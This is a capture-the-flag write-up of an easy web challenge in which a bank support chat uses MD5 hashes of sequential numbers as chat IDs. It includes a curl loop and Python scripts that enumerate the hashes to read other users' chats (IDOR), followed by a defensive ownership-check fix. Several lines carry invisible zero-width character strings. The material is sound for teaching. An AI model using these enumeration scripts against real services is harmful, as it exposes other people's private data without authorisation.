← Back to Writeups
CUSTOMEasyWeb

Поддержка от банка (Bank Support)

XESXOR9/10/20263 min read
#web#custom#easy#hash_prediction#idor_exploitation#sequential_id_enumeration#linux

Поддержка от банка (Bank Support)

Platform: duckerz | Category: Web | Type: Challenge | Difficulty: Easy | OS: Linux | Author: XESXOR | Date: 2026-01-09 | Status: Solved Techniques: hash_prediction, idor_exploitation, sequential_id_enumeration

Summary

Task: Bank support chat system with MD5-hashed sequential chat IDs. Solution: IDOR exploitation by predicting MD5 hashes of sequential numbers to access other users' chats and find leaked credentials.

Поддержка от банка (Bank Support) — duckerz CTF

Description

Кажется, в этом банке что-то пошло не так...

URL: http://tasks.duckerz.ru:30072/

The web application is a bank support system with registration, authentication, and support chat functionality.

Analysis

Reconnaissance

Initial inspection revealed:

  • Server: Werkzeug/3.1.4 Python/3.11.14 (Flask)
  • Functionality: /login, /register, /new_chat, /chat/{id}
  • Hint in code: CSS class .idor-warning — an obvious hint at IDOR vulnerability ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Registration and Authentication

After registering a test account testuser123 and logging in:

  • Received session cookie with contents: {"user_id":10,"username":"testuser123"}

Chat System Analysis

When creating a new chat via /new_chat:

  • Chat received URL: /chat/70efdf2ec9b086079795c442636b55fb
  • Chat identifier is an MD5 hash

Verification:

bash
echo -n "17" | md5sum
# 70efdf2ec9b086079795c442636b55fb

Conclusion: Chat ID = MD5(sequential_chat_number), where my chat had number 17. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Vulnerability: IDOR

Insecure Direct Object Reference (IDOR) — lack of access control verification when accessing resources by their identifier.

The problem:

  1. Chat IDs are sequential numbers (1, 2, 3, ...)
  2. "Protection" is just MD5 hash of the number (easily predictable)
  3. No verification of chat ownership

Solution

Step 1: Generate MD5 hashes for chats 1-20

bash
for i in {1..20}; do
    hash=$(echo -n "$i" | md5sum | cut -d' ' -f1)
    echo "Chat $i: $hash"
done

Result:

Chat 1: c4ca4238a0b923820dcc509a6f75849b
Chat 2: c81e728d9d4c2f636f067f89cc14862c
Chat 3: eccbc87e4b5ce2fe28308fd9f2a7baf3
Chat 4: a87ff679a2f3e71d9181a67b7542122c
...

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Step 2: Enumerate chats

bash
# With valid session cookie
SESSION="<valid_session_cookie>"

for i in {1..20}; do
    hash=$(echo -n "$i" | md5sum | cut -d' ' -f1)
    echo "=== Chat $i ($hash) ==="
    curl -s -b "session=$SESSION" "http://tasks.duckerz.ru:30072/chat/$hash" | grep -i "duckerz\|flag\|recovery"
done

Step 3: Flag Discovery

In chat #3 (hash: eccbc87e4b5ce2fe28308fd9f2a7baf3) found a dialogue:

Пользователь: Забыл пароль, помогите восстановить
Поддержка: Ваш код восстановления: DUCKERZ{REDACTED}

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

PoC (Proof of Concept)

bash
#!/bin/bash
# IDOR exploit for Bank Support challenge

TARGET="http://tasks.duckerz.ru:30072"
SESSION="<your_session_cookie>"

# Access chat #3 directly
hash=$(echo -n "3" | md5sum | cut -d' ' -f1)
curl -s -b "session=$SESSION" "$TARGET/chat/$hash"

Python Version

python
#!/usr/bin/env python3
import hashlib
import requests

TARGET = "http://tasks.duckerz.ru:30072"
SESSION_COOKIE = "<your_session_cookie>"

def get_chat_hash(chat_id):
    return hashlib.md5(str(chat_id).encode()).hexdigest()
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

# Enumerate chats 1-20
for i in range(1, 21):
    chat_hash = get_chat_hash(i)
    url = f"{TARGET}/chat/{chat_hash}"
    
    response = requests.get(url, cookies={"session": SESSION_COOKIE})
    
    if "DUCKERZ" in response.text:
        print(f"[+] Flag found in chat #{i}!")
        print(f"[+] URL: {url}")
        # Extract flag from response
        import re
        flag = re.search(r'DUCKERZ\{[^}]+\}', response.text)
        if flag:
            print(f"[+] Flag: {flag.group()}")
        break

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Defense

Proper implementation should include:

python
@app.route('/chat/<chat_id>')
def view_chat(chat_id):
    chat = Chat.query.filter_by(hash=chat_id).first_or_404()
    
    # MANDATORY access control check
    if chat.user_id != current_user.id:
        abort(403)  # Forbidden
    
    return render_template('chat.html', chat=chat)

References

  • OWASP IDOR
  • PortSwigger IDOR ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍